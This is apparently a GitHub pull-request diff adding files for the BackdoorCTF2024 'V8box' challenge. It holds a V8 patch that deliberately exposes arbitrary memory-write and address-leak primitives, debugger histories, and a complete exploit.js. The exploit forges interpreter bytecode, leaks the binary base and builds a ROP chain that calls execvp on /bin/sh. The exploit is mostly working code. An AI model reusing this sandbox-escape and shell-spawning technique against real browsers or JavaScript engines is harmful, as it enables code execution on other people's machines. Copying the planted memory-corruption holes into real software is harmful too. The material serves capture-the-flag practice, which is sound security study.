Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
28 changes: 28 additions & 0 deletions BackdoorCTF2024/V8box/public/.gdb_history
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
r exploit.js --shell
x/8gx 0x5555569eb000
vmmap 0x5555569eb000
c
r
r exploit.js --allow-natives-syntax
r exploit.js --allow-natives-syntax --shell
x/8gx 0x28770004007d-1
c
vmmap
x/8gx 0x7fff43610000
x/8gx 28770004007d-1
x/8gx 0x28770004007d-1
x/8gx 0x7fff43610000
x/8gx 0x28770004007d-1
b Builtins_LdarHandler
c
r
c
q
r exploit.js --shell
b Builtins_LdarHandler
r
q
r exploit.js --shell
b Builtins_LdarHandler
c
q
1 change: 1 addition & 0 deletions BackdoorCTF2024/V8box/public/Revision
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
58f407806ad0ea83d8174dd701ba4b84c3cca14f
17 changes: 17 additions & 0 deletions BackdoorCTF2024/V8box/public/args.gn
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

v8_enable_memory_corruption_api = true

v8_jitless = true
v8_enable_webassembly = false
v8_enable_sparkplug = false
v8_enable_maglev = false
v8_enable_turbofan = false
Binary file added BackdoorCTF2024/V8box/public/d8
Binary file not shown.
131 changes: 131 additions & 0 deletions BackdoorCTF2024/V8box/public/exploit.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,131 @@
let buf2 = new ArrayBuffer(8);
let f64 = new Float64Array(buf2);
let i64 = new BigUint64Array(buf2);

const ftoi = x => {
f64[0] = x;
return i64[0];
};

const itof = x => {
i64[0] = x;
return f64[0];
};

const buf = new ArrayBuffer(0x1000); // buffer for storing fake bytecode
const u8buf = new Uint8Array(buf);

let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
const kHeapObjectTag = 1;
const byteCodeTag = Number(0x2dn << 48n);

function getPtr(obj) {
return Sandbox.getAddressOf(obj) + kHeapObjectTag;
}

function getField(obj, offset) {
return memory.getUint32(obj + offset - kHeapObjectTag, true);
}

function setField(obj, offset, value) {
memory.setUint32(obj + offset, value, true);
}

function setFieldU64(obj, offset, value) {
memory.setBigUint64(obj + offset, value, true);
}


let off = 40;
function pwn(a, b) {
return a + b + 1;
}

function emit(x) {
u8buf[off] = x;
off++;
}

function reset() {
off = 40;
}

pwn(); // call the pwn function so the bytecode will be stored

const bc_addr = Number(BigInt(getField(getPtr(buf), 0x28)) << 8n); // backing_store
const bc_addr64 = Sandbox.base + bc_addr + 0x80;
console.log(`tag @ 0x${byteCodeTag.toString(16)}`)
console.log(`fake bytecode @ 0x${bc_addr64.toString(16)}`)

const bc_struct = [
0x41, 0x09, 0x00, 0x00, 0x00, 0x14, 0x40, 0x00,
0x12, 0x00, 0x00, 0x00, 0x7d, 0x44, 0x19, 0x00,
0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00,
0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0b, 0x04, 0x3f, 0x03, 0x00, 0x4b, 0x01, 0x01,
0xb3, 0x00, 0x00, 0x00, 0x8d, 0x05, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0xfd, 0x3a, 0x19, 0x00,
0x69, 0x2e, 0x19, 0x00, 0x09, 0x3c, 0x19, 0x00
];

for(let i = 0; i < bc_struct.length; i++) {
u8buf[i] = bc_struct[i];
}

trusted_ptr = ftoi(Sandbox.leakIsolate(0x298)) + 0x10000n
console.log(`trusted_ptr @ 0x${trusted_ptr.toString(16)}`)

const target = BigInt(byteCodeTag + bc_addr64) + BigInt(kHeapObjectTag);
console.log(target.toString(16));

Sandbox.ArbMemoryWrite(trusted_ptr+0x50n, target);

reset();
// ldar a0
emit(0xb);
emit(0x14);
// ret
emit(0xb3);

var d8Leak = pwn();
if (d8Leak < 0) {
d8Leak = 0x100000000 + d8Leak;
}

const bin_base = (BigInt(Sandbox.getPIELeak) | (BigInt(d8Leak) << 1n)) - 0x100a85cn;
console.log(`pie @ 0x${bin_base.toString(16)}`)

reset();
// ldar a0
emit(0xb);
emit(3);

// star frame pointer
emit(26);
emit(0);

// ret
emit(0xb3);

const fill = new Array(0x100).fill(1.1);

const fakeStack = new Array(0x100).fill(2.2);

var fakeStackBuf = getPtr(fakeStack);

setFieldU64(fakeStackBuf, -0x20, BigInt(bc_addr64) + 0x2cn);
setField(fakeStackBuf, -0x28, 0);


fakeStackBuf += 0x8;
console.log((bin_base+0x00000000007e8535n).toString(16));
setFieldU64(fakeStackBuf, 0, bin_base + 0x00000000007e8535n); // pop rdi
setFieldU64(fakeStackBuf, 0x8, BigInt(Sandbox.base + fakeStackBuf) + 0x28n); // /bin/sh ptr

setFieldU64(fakeStackBuf, 0x10, bin_base + 0x000000000075073en); // pop rsi
setFieldU64(fakeStackBuf, 0x18, 0n);
setFieldU64(fakeStackBuf, 0x20, bin_base + 0x13c13b0n); // execvp

setFieldU64(fakeStackBuf, 0x28, 0x68732f6e69622fn); // /bin/sh
pwn(fakeStack);
1 change: 1 addition & 0 deletions BackdoorCTF2024/V8box/public/flag.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
flag{fake_flag}
Binary file added BackdoorCTF2024/V8box/public/getflag
Binary file not shown.
Binary file added BackdoorCTF2024/V8box/public/snapshot_blob.bin
Binary file not shown.
152 changes: 152 additions & 0 deletions BackdoorCTF2024/V8box/public/vuln.patch
Original file line number Diff line number Diff line change
@@ -0,0 +1,152 @@
From dd6cd956e058d04c0d72c7915ec38e7e38f834b5 Mon Sep 17 00:00:00 2001
From: Manas <[email protected]>
Date: Thu, 12 Dec 2024 20:46:19 +0530
Subject: [PATCH] kek

---
src/d8/d8.cc | 10 +++--
src/flags/flag-definitions.h | 2 +-
src/sandbox/testing.cc | 77 ++++++++++++++++++++++++++++++++++++
3 files changed, 84 insertions(+), 5 deletions(-)

diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index ef81fbe0b80..70d248e5faa 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -2297,9 +2297,10 @@ MaybeLocal<Context> Shell::CreateRealm(
}
delete[] old_realms;
}
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
+ // Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
Local<Context> context =
- Context::New(isolate, nullptr, global_template, global_object);
+ // Context::New(isolate, nullptr, global_template, global_object);
+ Context::New(isolate, nullptr, ObjectTemplate::New(isolate), global_object);
if (context.IsEmpty()) return MaybeLocal<Context>();
DCHECK(!try_catch.HasCaught());
InitializeModuleEmbedderData(context);
@@ -4147,9 +4148,10 @@ MaybeLocal<Context> Shell::CreateEvaluationContext(Isolate* isolate) {
reinterpret_cast<i::Isolate*>(isolate)->main_thread_local_isolate(),
context_mutex_.Pointer());
// Initialize the global objects
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
+ // Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
EscapableHandleScope handle_scope(isolate);
- Local<Context> context = Context::New(isolate, nullptr, global_template);
+ // Local<Context> context = Context::New(isolate, nullptr, global_template);
+ Local<Context> context = Context::New(isolate, nullptr, ObjectTemplate::New(isolate));
if (context.IsEmpty()) {
DCHECK(isolate->IsExecutionTerminating());
return {};
diff --git a/src/flags/flag-definitions.h b/src/flags/flag-definitions.h
index 644c0983958..9d93ed5779b 100644
--- a/src/flags/flag-definitions.h
+++ b/src/flags/flag-definitions.h
@@ -2870,7 +2870,7 @@ DEFINE_NEG_IMPLICATION(sandbox_fuzzing, sandbox_testing)
DEFINE_NEG_IMPLICATION(sandbox_testing, sandbox_fuzzing)

#ifdef V8_ENABLE_MEMORY_CORRUPTION_API
-DEFINE_BOOL(expose_memory_corruption_api, false,
+DEFINE_BOOL(expose_memory_corruption_api, true,
"Exposes the memory corruption API. Set automatically by "
"--sandbox-testing and --sandbox-fuzzing.")
DEFINE_IMPLICATION(sandbox_fuzzing, expose_memory_corruption_api)
diff --git a/src/sandbox/testing.cc b/src/sandbox/testing.cc
index 8bc740937af..fbd2a7c0282 100644
--- a/src/sandbox/testing.cc
+++ b/src/sandbox/testing.cc
@@ -411,6 +411,79 @@ void SandboxGetFieldOffset(const v8::FunctionCallbackInfo<v8::Value>& info) {
info.GetReturnValue().Set(offset);
}

+// Sandbox.getPIELeak
+void SandboxGetPIELeak(const v8::FunctionCallbackInfo<v8::Value>& info){
+ DCHECK(ValidateCallbackInfo(info));
+ double leak = (double)((unsigned long int)(&SandboxGetPIELeak) >> 32 << 32);
+ info.GetReturnValue().Set(v8::Number::New(info.GetIsolate(), leak));
+}
+
+// Sandbox.leakIsolate(offset) -> double
+void SandboxLeakIsolate(const v8::FunctionCallbackInfo<v8::Value>& info){
+ static int leaked = 0;
+
+ if(leaked != 0){
+ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), false));
+ return;
+ }
+
+ DCHECK(ValidateCallbackInfo(info));
+ if(info.Length() != 1){
+ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), false));
+ return;
+ }
+
+ v8::Isolate* isolate = info.GetIsolate();
+ v8::Local<v8::Context> context = isolate->GetCurrentContext();
+
+ Local<v8::Integer> offset;
+ if(!info[0]->ToInteger(context).ToLocal(&offset)){
+ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), false));
+ return;
+ }
+
+ void *addr = (void *)(offset->Value() + isolate);
+ double leak = *(double *)addr;
+
+ leaked = 1;
+ info.GetReturnValue().Set(v8::Number::New(info.GetIsolate(), leak));
+}
+
+// Sandbox.ArbMemoryWrite(addr, value) -> Bool
+void ArbMemoryWrite(const v8::FunctionCallbackInfo<v8::Value>& info) {
+ static int written_data = 0;
+ if(written_data != 0){
+ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), false));
+ return;
+ }
+
+ DCHECK(ValidateCallbackInfo(info));
+
+ v8::Isolate* isolate = info.GetIsolate();
+ Local<v8::Context> context = isolate->GetCurrentContext();
+
+ if(info.Length() != 2){
+ isolate->ThrowError("Expects two BigInt argument (address and value)");
+ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), false));
+ return;
+ }
+
+ Local<v8::BigInt> arg1, arg2;
+ if (!info[0]->ToBigInt(context).ToLocal(&arg1) ||
+ !info[1]->ToBigInt(context).ToLocal(&arg2)) {
+ isolate->ThrowError("Expects two BigInt argument (address and value)");
+ return;
+ }
+
+ uint64_t *address = (uint64_t *)arg1->Uint64Value();
+ uint64_t value = arg2->Uint64Value();
+
+ *address = value;
+ written_data = 1;
+ info.GetReturnValue().Set(v8::Boolean::New(info.GetIsolate(), true));
+}
+
+
Handle<FunctionTemplateInfo> NewFunctionTemplate(
Isolate* isolate, FunctionCallback func,
ConstructorBehavior constructor_behavior) {
@@ -505,6 +578,10 @@ void SandboxTesting::InstallMemoryCorruptionApi(Isolate* isolate) {
"getInstanceTypeIdFor", 1);
InstallFunction(isolate, sandbox, SandboxGetFieldOffset, "getFieldOffset", 2);

+ InstallGetter(isolate, sandbox, SandboxGetPIELeak, "getPIELeak");
+ InstallFunction(isolate, sandbox, SandboxLeakIsolate, "leakIsolate", 1);
+ InstallFunction(isolate, sandbox, ArbMemoryWrite, "arbMemoryWrite", 2);
+
// Install the Sandbox object as property on the global object.
Handle<JSGlobalObject> global = isolate->global_object();
Handle<String> name =
--
2.43.0

Binary file added BackdoorCTF2024/V8box/pwn_v8box.zip
Binary file not shown.
21 changes: 21 additions & 0 deletions SEECTF/4mats/.gdb_history
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
b*guess_me
r
ni
ni
x/gx $ebp+8
x/wx $ebp+8
p 0x000142bb
ni
c
c
ni
ni
r
ni
ni
x/wx $ebp+8
ni
c
ni
ni
x/wx $ebp+8
Loading